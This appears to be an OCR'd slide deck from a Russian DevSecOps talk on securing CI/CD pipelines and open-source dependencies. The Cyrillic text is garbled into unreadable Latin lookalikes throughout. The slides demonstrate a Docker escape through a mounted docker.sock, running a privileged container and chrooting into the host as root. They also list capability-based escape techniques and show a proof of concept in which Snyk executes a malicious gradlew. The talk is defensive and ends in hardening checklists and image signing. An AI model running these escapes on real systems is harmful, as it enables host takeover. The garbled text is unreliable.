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[Toyemy 9Ta Tema BaxxHa"?

* Open Source cTan HEOTbLEMIIEMOW YaCTbio HALLEN XKN3HN,
a nHoraa n 6esanbTepHaTUBHBIM BapuaHTOM

* B 10O Xe BpeMA 3TO NMNPUBIIEKIIO bonblLlee BHUMAHME 3JT10YMbILLUJTEHHUKOB

* Hayvanucb NOCTOsIHHbIE aTaku, B T.4. HA aBTOPOB
Open Source-naketoB

* Kak He ocTtynuntbcs, ncnonbdys Open Source?

B pamkax 3Toro kpatl-kypca Mbl pasdepemcs, rae CToUT NoAcTpaxoBaThCs



Kak paboTanu paHbLue?

docker




Kak paboTtanu paHbLue?




Kak paboTtanu paHbLue?

npm




Kakne npobremb!?

| &

docker




[MTogasunucb SCM




Koo oTnpaBnsieTcsl Ha BOpKep-Hoay

Repository




Cbopka npoucxoauTt yaaneHHo

g

Repository
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PesynbTaT BblkaTbiBaeTcqa B prod

Repository
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[Tfpobnema octanacb
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A eule y Hac shell

“
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[1pon3BONbHbLIN KO BblkaTbiBAETCA HA Npo.a

5 A o
"

v v
/i
e — &
. ?

14



Checklist

He ncnonbayem shell-paHHepbl



Bce 3anyckaeTca B KOHTENHepax
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A BOPYr Mbl cKa4anu 4Yto-To He TO?

» 5
. 4D

. m

docker
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[lobaBnsiem dev-cermeHT

e mm &
docker
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Kak obe3onacutbcsa ewe?
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[lobaBnsaem ckaHepbl




Addektnt nn bad dependency Ha cbopky?
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KoHeyHO!

Beab HYy>XeH docker-in-docker



TexHukn nodera n3 Docker

1 MoHTMpoBaHMe XOCTOBOW CUCTEMDI

cnonb3oBaHue NPMMOHTUPOBAHHOIO
Docker Socket

3  WMHbekuumsa Shell-code

4  WNHbekuma moaynsa sapa

5 UYTteHune cekpeToB C xOCTa

6 [lepesanuck dbannos Ha xocTe

7 «notify_on_release» B cgroups

SYS_ADMIN

SYS_PTRACE

SYS_MODULE

DAC_READ_SEARCH
DAC_READ_SEARCH, DAC_OVERRIDE

SYS_ADMIN, DAC_OVERRIDE

++
@ HighlLoad++
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[TpumMoHTUpPOBaHHbLIN docker-socket
* /var/run/docker.sock

« 1ns Docker-in-Docker (DinD) cbopok nHorga
MOHTMPYETCA HaNPsIMY0 B KOHTEUHEP

* [lo3BongeT HaM NPAMO U3 KOHTEMHepPA NocbiNnaTh
KOMaHabl Ha XxoctoBou Docker

(Hanpumep, ona coopok)
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root@In-khakimov-vm:~# docker run -it --cap-drop=ALL -v
/var/run/docker.sock:/run/docker.sock docker:dind /bin/sh



root@In-khakimov-vm:~# docker run -it --cap-drop=ALL -v
/var/run/docker.sock:/run/docker.sock docker:dind /bin/sh

/ # docker run -1t --privileged -v /:/host/ ubuntu bash -c¢ "chroot /host/”



root@In-khakimov-vm:~# docker run -it --cap-drop=ALL -v
/var/run/docker.sock:/run/docker.sock docker:dind /bin/sh

/ # docker run -it --privileged -v /:/host/ ubuntu bash -c "chroot /host/”

#1s
bin dev home lib32 libx32 media optroot sbin srv tmp var
boot etc lib 11b64 lost+found mnt proc run snap sys usr



root(@In-khakimov-vm:~# docker run -it --cap-drop=ALL -v
/var/run/docker.sock:/run/docker.sock docker:dind /bin/sh

/ # docker run -it --privileged -v /:/host/ ubuntu bash -¢ "chroot /host/”

#1s
bin dev home 1ib32 1ibx32 media optroot sbin srv tmp var boot etc lib
lib64 lost+found mnt proc run snap sys usr

# whoami
root



CAP oObIYHOro KOHTEUHepa

meltdown@docker:~$ docker exec -it mynginx bash

root@test:/# capsh --print

Current:

cap_chown,cap dac_override,cap fowner,cap fsetid,cap kill,cap setgid,cap setuid,cap setpcap,cap net
bind_ service,cap net_raw,cap_sys_chroot,cap mknod,cap_audit write,cap setfcap=ep

4 Bounding set
=cap_chown,cap_dac_override,cap_ fowner,cap fsetid,cap kill,cap setgid,cap_setuid,cap_setpcap,cap_net
_bind_service,cap_net_raw,cap_sys_chroot,cap mknod,cap audit_write,cap_setfcap

Ambient set =

6 Current IAB:

!cap _dac_read search,!cap linux_immutable, !cap net broadcast,!cap net admin, !cap ipc lock, !cap ipc_o
wner, !cap_sys_module, !cap_sys_rawio,!cap sys ptrace,!cap sys pacct, !cap sys_admin, !cap_sys_ boot, !cap
_sys_nice, !cap_sys_resource,!cap_sys time,!cap sys_ tty config, !cap lease,!cap_audit control,!cap mac
_override, !cap mac_admin, !cap_syslog, !cap wake alarm, !cap block suspend, !cap audit read, !cap perfmon
,!cap bpf, !cap checkpoint restore

N =

w
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CAP privileged-KoHTenHepa

00
1 meltdown@docker:~$ docker exec -it privnginx bash
2 root@c8756b6el1411:/# capsh --print
3 Current: =ep
4 Bounding set

=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid
,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,ca
p_1ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,ca
p_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap
_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_w
ake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore

Ambient set =

Current IAB:



Bbbin AppArmor u HeT ero

1 meltdown@docker:~/ubuntu$ docker ps --quiet --all | xargs docker inspect --format '{{ .Name }}:
AppArmorProfile={{ .AppArmorProfile }}'

2 /privnginx: AppArmorProfile=unconfined

3 /unruffled_hawking: AppArmorProfile=docker-default

4 /mynginx: AppArmorProfile=docker-default



Checklist

He ncnonbayem shell-paHHepbl

Dind = HeT nsonauuu
(ncrnonb3ynte kaniko)



Pasgennm Bopkep-Hoabl

. O~
ERm.

npm

docker




Checklist

He ncnonbayem shell-paHHepbl

Dind = HeT nsonauuu
(ncrnonb3ynte kaniko)

build n deploy
Ha pa3HbIX BOPKEpP-HOOAX



Ho Bce elle ko n3 dev MOXXeT nonacTtb B prod
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Pasgenum build-cpeabl

(NP
o
Y docker
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Checklist

He ncnonbayem shell-paHHepbl

Dind = HeT nsonauuu
(ncrnonb3ynte kaniko)

build n deploy
Ha pa3HbIX BOPKEpP-HOOAX

pasaenbHble Hoabl Ansa build-cpen



Kak ynpaBnsTb 3aBUCUMOCTAMK?

& W

docker
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XpaHI/IM 3dBNCUMOCTU JTOKallbHO

docker
\ < . J 4\
G} |
npm

|

i

40



Kak 3awutnuTb npoa?

G
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[lenaem npoKkcu u xocten

/i
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Checklist

He ncnonbayem shell-paHHepbl

Dind = HeT nsonauuu
(ncrnonb3ynte kaniko)

build n deploy
Ha pa3HbIX BOPKEpP-HOOAX

pasaenbHble Hoabl Ansa build-cpen

OoTAenbHble penbl ANnsa nNpoa-
n 6una-céopok



[1pO 4YTO MbIl 3a20bINN?

o
— —

»

.

A4

44



PasgenbHble peno3ntopun B registry

L

—P

dev repo

prod repo
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Checklist

He ncnonbayem shell-paHHepbl

Dind = HeT nsonauuu
(ncrnonb3ynte kaniko)

build n deploy
Ha pa3HbIX BOPKEpP-HOOAX

pasaenbHble Hoabl Ansa build-cpen

OoTAenbHble penbl ANnsa nNpoa-
n 6una-céopok

oTAEeSIbHble peno3nTopumn
N oTaenNbHbIE Koyn! ang
penosnTtopues registry



One more thing...

A\



MeuTaloT N ckaHepbl MPOCKaHMPOBaTLCA?
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BanambiBaem 4epes Snyk

Snyk HanpsMyro BbINOSTHAET KOMaHAbl U3 gradlew Ha
LLleneBon cucteme
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BanambiBaem 4epes Snyk

Snyk HanpamMyto BbINonHAET KoMaHabl U3 gradlew Ha
LLleneBon cucteme

$ gradlew
#!/bin/sh
touch hacked_snyk_gradle
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[meltdown@ALEKSEYs-MacBook-Pro snyk gradle % 1s
build.gradle gradlew
(meltdown@ALEKSEYs-MacBook-Pro snyk gradle % snyk test
Gradle Error (short):

Error running Gradle dependency analysis.

Please ensure you are calling the “snyk™ command with correct arguments.
If the problem persists, contact support@snyk.io, providing the full error

message from above, starting with ===== DEBUG INFORMATION START =====.
[meltdown@ALEKSEYs-MacBook-Pro snyk gradle % 1s
build.gradle gradlew hacked_snyk _gradle

meltdown@ALEKSEYs-MacBook-Pro snyk_gradle % |
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OTpensiemMm ckaHepbl
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Checklist

He ncnonbayem shell-paHHepbl Ha build-Hoge Tonbko cbopku!

_ CKaHepbl OTAENTbHO
Dind = HeT nsonauuu

(ncrnonb3ynte kaniko)

build n deploy
Ha pa3HbIX BOPKEpP-HOOAX

pasaenbHble Hoabl Ansa build-cpen

OoTAenbHble penbl ANnsa nNpoa-
n 6una-céopok

oTAEeSIbHble peno3nTopumn
N oTaenNbHbIE Koyn! ang
penosnTtopues registry



He 3abbiBaem npo FW

&>
/ docker
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Stage okpyxeHue B dev Kracrtepe, KOTopoe
cMoTpuT B prod 6a3bl (C)
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Checklist

He ncnonbayem shell-paHHepbl

Dind = HeT nsonauuu
(ncrnonb3ynte kaniko)

build n deploy
Ha pa3HbIX BOPKEpP-HOOAX

pasaenbHble Hoabl Ansa build-cpen

OoTAenbHble penbl ANnsa nNpoa-
n 6una-céopok

oTAEeSIbHble peno3nTopumn
N oTaenNbHbIE Koyn! ang
penosnTtopues registry

Ha build-Hoge Tonbko cbopku!
CKaHepbl OTAENbHO

N30NMpPYyeM KOHTYpbI APYr OT Apyra



JdemMepHble (BpeMeHHbIe) paHHepPb
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Checklist

He ncnonbayem shell-paHHepbl

Dind = HeT nsonauuu
(ncrnonb3ynte kaniko)

build n deploy
Ha pa3HbIX BOPKEpP-HOOAX

pasaenbHble Hoabl Ansa build-cpen

OoTAenbHble penbl ANnsa nNpoa-
n ouna- cbopok

oTAEeSIbHble peno3nTopumn
N oTaenNbHbIE Koyn! ang
penosnTtopues registry

Ha build-Hoge Tonbko cbopku!
CKaHepbl OTAENbHO

N30NMpPYyeM KOHTYpbI APYr OT Apyra

agpeMepHbIe paHHepbI



[Tpnemka Open Source

e [lo6aBneHue 3aBNCMMOCTEN B PEMNO3NUTOPUIA TONBKO JOBEPEHHbLIMU
nmuamm
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[Tpnemka Open Source

e [lo6aBneHne 3aBNUCMMOCTEN B PEMNO3NUTOPUIA TONBKO JOBEPEHHbLIMU
nmuamm

* Wcnonb3oBaHne SCA/OSA

60



[Tpnemka Open Source

e [lo6aBneHne 3aBNUCMMOCTEN B PEMNO3NUTOPUIA TONBKO JOBEPEHHbLIMU
nmuamm

* Wcnonb3oBaHne SCA/OSA

* [lpoBepka 3aBMCMMOCTEN Npu AobaBneHnn (MPonUCxoxageHne

3aBUCUMOCTU, KONNMYECTBO 3arpy3ok, Hanndme CVE, Issues, KoHTponb
LLeNMOCTHOCTN 3aBUCUMOCTM)
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[Tpnemka Open Source

[oGaBneHne 3aBUCMMOCTEN B PENO3UTOPUI TOJNbKO JOBEPEHHBIMM
nmuamm

Ncnonb3oBaHne SCA/OSA

[MpoBepka 3aBMCMMOCTEN Npu AobaBneHnn (MPoncxoxageHne
3aBUCUMOCTU, KONNMYECTBO 3arpy3ok, Hanndme CVE, Issues, KoHTponb
LLeNMOCTHOCTN 3aBUCUMOCTM)

TecTnpoBaHue 3aBUCUMOCTEN (MCMOSb30BaHNE B NECOYHULIE,
oTcrexusaHue syscalls u 1.4.)
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[Tpnemka Open Source

e [lo6aBneHue 3aBNCMMOCTEN B PEMNO3NUTOPUIA TOMNBKO JOBEPEHHbLIMU
nmuamm

* Wcnonb3oBaHne SCA/OSA

* [lpoBepka 3aBMCMMOCTEN Npu AobaBneHnn (MPonUCxoxageHme
3aBUCUMOCTU, KONNMYECTBO 3arpy3ok, Hanndme CVE, Issues, KoHTponb
LLeNOCTHOCTN 3aBUCUMOCTM)

* TecTnpoBaHMe 3aBUCUMOCTEN (MCNONb3OBAHME B MNECOYHULIE,
oTcrexusaHue syscalls u 1.4.)

* [MpoBepka COOTBETCTBUSI 3aBMCUMOCTEN B OKPY>KEHUM
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[Tpnemka Open Source

e [lo6aBneHue 3aBUCMMOCTEN B PEMNO3NUTOPUIA TONBKO JOBEPEHHbLIMU
nmuamm

* Wcnonb3oBaHne SCA/OSA

* [lpoBepka 3aBMCMMOCTEN Npu AobaBneHnn (MPonUcxoxageHme
3aBUCUMOCTU, KONNMYECTBO 3arpy3ok, Hanndme CVE, Issues, KoHTponb
LLeNOCTHOCTN 3aBUCUMOCTM)

* TecTnpoBaHMe 3aBUCUMOCTEN (MCNONbL3OBAHME B MNECOYHULIE,
oTcrexusaHue syscalls u t.4.)

* [lpoBepka COOTBETCTBUSI 3aBMCUMOCTEN B OKPY>KEHUM

e Xapgkop: ansaccembriep 1 AeKOMNUNATOP
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Checklist

He ncnonbayem shell-paHHepbl

Dind = HeT nsonauuu
(ncrnonb3ynte kaniko)

build n deploy
Ha pa3HbIX BOPKEpP-HOOAX

pasaenbHble Hoabl Ansa build-cpen

OoTAenbHble penbl ANnsa nNpoa-
n 6una-céopok

oTAEeSIbHble peno3nTopumn
N oTaenNbHbIE Koyn! ang
penosnTtopues registry

Ha build-Hoge Tonbko cbopku!
CKaHepbl OTAENbHO

N30NMPyeM KOHTYpPbI OpYr OT gpyra
agpeMepHbIe paHHepbI

Tectnpyem 3aBNCNMOCTHU



He 3abbiBaem npo noanmch

¢ [loanucb KOMMUTOB
¢ [loanucb 3aBUCUMOCTEN

¢ T[lpoBepka ayTEHTUYHOCTU apTedaKkToB Mnpu
cbopke NpunoxeHns

¢ [lognucbk camoro NpUNoXeHus

¢ T[lpoBepka apTedakToB npu cbopke obpasa n
noanucb obpasa
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: kyverno.io/vl
: ClusterPolicy

: check-image

: enforce
: false

: Fail

: check-image

Kyverno Cosign Policy

- Pod

- "your.registry/id"

<cogepxumoe_cosign.pub>




Checklist

He ncnonbayem shell paHHepsl

Dind = HeT nsonauuu
(ncrnonb3ynte kaniko)

build n deploy
Ha pa3HbIX BOpKep Hogax

pasaenbHble Hoabl Ana build cpen

OoTAenbHbIe penbl ANd Npos,
n oung cbopok

oTAEeSIbHble peno3nTopumn
N oTaenNbHbIE Koyn! ang
penosnTtopues registry

Ha build Hoae Tonbko coopku!
CKaHepbl OTAENbHO

N30NMpyeM KOHTYpa Apyr oT gpyra
agpeMepHbIe paHHepbI
TEeCTUpyeM 3aBUCUMOCTU

He 3abbiBaeM npo noanmnch
n Banugaumio



Cnacmbo 3a BHUMaHue!

Anekcen ®enynaes
DevSecOps Team Lead
Wildberries

Tg: @int0Ox80h



